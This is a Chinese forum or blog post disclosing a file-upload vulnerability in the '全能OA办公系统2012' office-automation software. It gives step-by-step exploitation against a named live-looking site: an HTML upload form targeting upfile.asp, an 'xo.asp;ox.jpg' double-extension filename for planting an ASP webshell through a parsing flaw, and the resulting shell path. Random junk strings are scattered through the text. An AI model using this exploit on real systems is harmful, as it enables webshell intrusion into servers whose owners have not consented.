全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
系统介绍：

- n  O& e  b& D) t, O. H全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

% u( `" x2 a- U8 c主要功能：
公司通告
# n) e- x- A( r8 Y' a工作计划
通讯助理
( `% T/ o) L7 G' t, ?客户资源
! C% X# j2 G% ]7 z' p5 V我的公文
- }4 }, C. J" \* k, R3 a, d公文传阅
1 ~! |& m1 _" U7 t5 D2 Y; l公共资源
资源预约
今日考勤
' U) a( ~9 \% l6 Y个人计划
个人通讯录
& D2 o! l, I8 j$ \- R4 l$ a7 I个人基本档案
未读邮件
发邮件
收件夹
寄件夹
7 k# {& |- d' ^  C网络硬盘
网络会议
9 @- J$ h2 Y7 \1 L1 z7 c7 z# N0 F网络调查
交流论坛

3 f+ z: I% a$ n3 M0 q/ f' P2 p有兴趣测试的朋友可以下源码看看
# H& d/ Z3 T) Z) Y4 o# ~9 p
, r/ m! d$ R. y9 E6 L源码下载：

5 ?+ p0 w2 t0 p4 I* O( q' j8 N/ d# W2 \  bhttp://www.mycodes.net/30/4750.htm
3 ^% J0 k+ m1 A' c$ Y
漏洞介绍：

由upfile.asp上传文件漏洞引起
+ J2 u# R' g/ @# r$ S$ ~
  ]5 x5 q$ e' l5 S- l8 U测试方法：

使用名小子上传http://www.itlynn.com/upfile.asp即可

/ X. {+ N3 M% m% n; }如果upfile.asp文件被删除不存在。
' J( v) s2 u8 ]3 q: b* e
  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
$ K. R3 f0 v' I  T6 P
如果存在那么将如下代码保存为upfile.html。

然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。

4 x& @" [, ?% U& H4 |
7 Z# Z% q7 T# j) v
  K2 ?. P) v4 {% [  I: t3 Z$ w01 <table border='0' align="center" cellpadding="5">

& g4 ]& n- G& [* k) I02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

4 ^) I" T8 _  h9 ~03 <tr>
" p% j; C; V8 h; m& S
( A7 j# I9 ~: l04             <td>报错：</td>

) J, h& I" }( E( ^1 O7 O( \2 k" Z05             <td><input type='radio' name='errnumber' value='0'>

06               自动更名

8 _, S9 }8 X4 G07               <input type='radio' name='errnumber' value='1' checked>

; @! g2 D; x+ R( Y  d08               报错方式
8 e; v. V" s/ ~4 G  z) f; B
1 {2 F0 w& [- T8 Z2 W+ ~, `09               <input type='radio' name='errnumber' value='2'>

10               直接覆盖</td>

3 M0 }6 m9 ~( f$ S11           </tr>
( T  }6 t& z# L: I
12           <tr>
: T0 k" e/ Z' O* G6 F8 T) i. n) }+ X1 `
13             <td>主题：</td>
5 W* T8 [/ i0 f: N- J$ J
& b3 a( X0 X3 J0 z- K& x& L14             <td><input type='text' name='filename' size='30'></td>

: e* J. E, s$ ~9 `1 `( r- h15           </tr>
( f3 e+ }9 U; m: |4 R1 w6 y
; n. @8 _5 Z- U# O7 q& z# t: B9 e. T16           <tr>
, d. v) @+ f: v: y3 F: d  t* m2 ]
/ M- [% X0 _' N* b- w; t7 R17             <td>文件：</td>

$ n8 ?& l4 \' G- m$ U' v18             <td><input type="file"name="fruit"size="30"></td>
6 H# Q# S5 {  Y, X, ^- c# m
19           </tr>

. C6 K* f0 q) w0 |20           <tr>
' r- k: g; {* B
21             <td valign='top'>简介：</td>

2 B6 r; T: p3 c2 `4 h; `22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

23           </tr>

24   

& S$ i: h4 w& r# x/ v25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

26           </tr>

27         </form>

3 m, }  L$ T( J+ ?然后打开上传一个文件名为xo.asp;ox.jpg的文件。
2 T' W+ h, P; F9 x0 Z


上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

: d; i4 t$ [6 y9 m- n, q/ ?此漏洞需要配合解析漏洞利用。